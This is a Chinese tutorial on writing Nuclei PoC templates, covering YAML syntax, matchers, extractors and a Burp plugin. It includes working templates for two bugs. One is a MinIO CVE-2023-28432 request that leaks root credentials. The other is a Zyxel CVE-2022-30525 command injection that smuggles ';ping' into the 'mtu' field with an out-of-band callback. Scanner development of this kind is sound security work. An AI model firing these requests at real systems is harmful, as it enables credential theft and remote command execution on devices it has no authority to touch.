102-漏洞发现-Yaml(Poc)语法&模版生成插件&资源等

知识点:

1、Nuclei-Poc开发-环境配置&编写流程

2、Nuclei-Poc开发-Yaml语法&匹配提取

3、Nuclei-Poc开发-BurpSuite一键生成插件

Nuclei-Poc开发-环境配置&编写流程

1、开发环境:Vscode+Yaml插件

Visual Studio Code - Code Editing. Redefined

image-20250711181347666

2、开发文档参考资料

官方文档

Basic HTTP Protocol - ProjectDiscovery Documentation

image-20250711181654126

Nuclei-Poc开发-Yaml语法&匹配提取

YAML是一种数据序列化语言,它的基本语法规则注意如下:

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进时不允许使用Tab键,只允许使用空格。
  • 缩进的空格数目不重要,只要相同层级的元素左侧对齐即可

Yaml Poc模版:

  1. 编号 id(描述)

  2. 信息 info(描述)

    • image-20250711183352575

    • 关于模板的下一个重要信息是信息块。信息块提供 名称作者严重性描述参考标签 。它还包含表示模板严重性的严重性字段,信息块还支持动态字段,因此可以定义N个key: value块以提供有关模板的更多有用信息。reference是另一个流行的标签,用于定义模板的外部参考链接。

      另一个总是添加到info块中的有用标签是 tags 。这允许您将一些自定义标签设置为模板,具体取决于目的等cverce这允许核心使用您的输入标签识别模板并仅运行它们。

  3. 请求 http file tcp等(漏洞以什么方式请求)

    • image-20250711183552086

    Nuclei 为与 HTTP 协议相关的各种功能提供了广泛的支持。支持基于原始和模型的 HTTP 请求,以及非 RFC 客户端请求选项也支持。还可以指定有效负载,并且可以根据有效负载值以及本页面稍后显示的更多功能来转换原始请求

    根据poc需要,来决定请求方法GETPOSTPUTDELETE等。

    Variable Value
    | {{BaseURL}} | [https://example.com:443/foo/bar.php](https://example.com/foo/bar.php) | | {{RootURL}} | [https://example.com:443](https://example.com/) | | {{Hostname}} | example.com:443 | | {{Host}} | example.com | | {{Port}} | 443 | | {{Path}} | /foo | | {{File}} | bar.php | | {{Scheme}} | https |
  4. 匹配 matchers Interactsh(对结果匹配关键字来判断是否存在漏洞)

    匹配器

    匹配器允许对协议响应进行不同类型的灵活比较。非常易于编写,并且可以根据需要添加多个检查以实现非常有效的扫描。

    类型

    可以在请求中指定多个匹配器。基本上有6种类型的匹配器:

    Matcher Type Part Matched
    status Integer Comparisons of Part
    size Content Length of Part
    word Part for a protocol
    regex Part for a protocol
    binary Part for a protocol
    dsl Part for a protocol
    条件

    可以在单个匹配器中指定多个单词和正则表达式,并且可以使用ANDOR等不同条件进行配置。

    1. AND - 使用 AND 条件允许匹配匹配器的单词列表中的所有单词。只有这样,当所有单词都匹配时,请求才会被标记为成功。
    2. OR - 使用 OR 条件允许匹配匹配器列表中的单个单词。当匹配器匹配到一个单词时,请求将被标记为成功。
  5. 提取 extractors(对结果提取页面长度、状态等来判断是否存在漏洞)

    • image-20250711184017595

    • image-20250711183945546

开发流程:

0、poc模版套用修改

  • image-20250711184147911

1、poc创建独立编号

  • image-20250711184201824

2、poc填入详细信息

  • image-20250711184234652

3、poc提交协议流程编写

  • image-20250711184245730

4、poc结果匹配模式判断

  • image-20250711183552086

5、poc结果提取模式判断

  • image-20250711184017595

案例1:CVE-2023-28432 (匹配结果)

https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md

image-20250711184733000

image-20250711184750233

image-20250711191945332

image-20250711191933914

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
id: CVE-2023-28432

info:
name: MinIO集群模式信息泄露漏洞(CVE-2023-28432)
author: xiaodisec
severity: low
description: 在其RELEASE.2023-03-20T20-16-18Z版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。
reference:
- https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
tags: MinIO,CVE

http:
- raw:
- |
POST /minio/bootstrap/v1/verify HTTP/1.1
{% raw %}
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
- type: word
part: body
words:
- '"MINIO_ROOT_PASSWORD":'
- '"MINIO_ROOT_USER":'
- '"MinioEnv":'
condition: and

案例2:CVE-2022-30525(匹配交互)

(CVE-2022-30525)Zyxel 防火墙未经身份验证的远程命令注入_zyxel.selfrep-CSDN博客

image-20250711192420437

image-20250711192624451

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
id: CVE-2022-30525

info:
name: Zyxel 防火墙远程命令注入漏洞
author: xiaodisec
severity: high
description: 该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙,其中包括 ATP 系列、VPN 系列和 USG FLEX 系列(包括 USG20-VPN 和 USG20W-VPN)。该漏洞标识为 CVE-2022-30525,允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。
reference:
- https://blog.csdn.net/weixin_43080961/article/details/124776553
tags: zyxel,cve,rce

http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
{% raw %}
Host: {{Hostname}}
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
payloads:
exploit:
- ";ping -c 3 {{interactsh-url}};"

{% endraw %}
matchers:
- type: word
part: interactsh_protocol
name: dns
words:
- "dns"

image-20250711203931894

Nuclei-Poc开发-BurpSuite一键生成插件

nuclei-burp-plugin:

https://github.com/projectdiscovery/nuclei-burp-plugin

1、导入或商店安装

image-20250711204153366

2、配置插件路径信息

image-20250711204320363

3、数据包选择生成模版

CVE-2023-28432

image-20250711204400112

4、复现一下漏洞

image-20250711204450901

image-20250711204625787

image-20250711204655259

image-20250711204812376

image-20250711204756525

image-20250711204827996

image-20250711205029541